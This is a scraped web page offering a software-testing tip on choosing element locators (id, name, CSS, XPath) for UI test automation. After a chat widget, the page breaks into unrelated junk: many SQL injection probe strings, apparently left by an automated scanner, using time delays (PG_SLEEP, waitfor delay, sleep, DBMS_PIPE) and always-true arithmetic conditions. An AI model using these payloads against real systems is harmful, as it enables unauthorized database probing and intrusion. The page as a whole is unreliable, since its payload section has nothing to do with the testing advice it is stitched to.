BP31: Locate elements and controls using the right method
Use the following order: id > name > css > xpath
Id
There can be only one id on the page. Finding element by id is very fast and efficient. There is a low risk that the test would get broken because the author of the page has changed the id. Such things don't happen often.
Name
There can be multiple controls with the same name. But it doesn't happen often. Finding element by name is very fast and efficient. There is a low risk hat the test would get broken because the author of the page has changed the name attribute of the control. Such things don't happen often as the programmers are using names in their code and if they change their front-end code, they would need to change back-end code as well.
CSS
Finding element by the css selector is fine until the author of the page changes style, template or slightly tweaks html code of the page. Such change is more likely than the change of id or name attribute.
XPath
XPath is fine, but it's complex and hard to read for junior testers. It can also be very fragile when more complex xpath query is used.
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
e
@@xeDO0
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
VTgcz37T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
e
e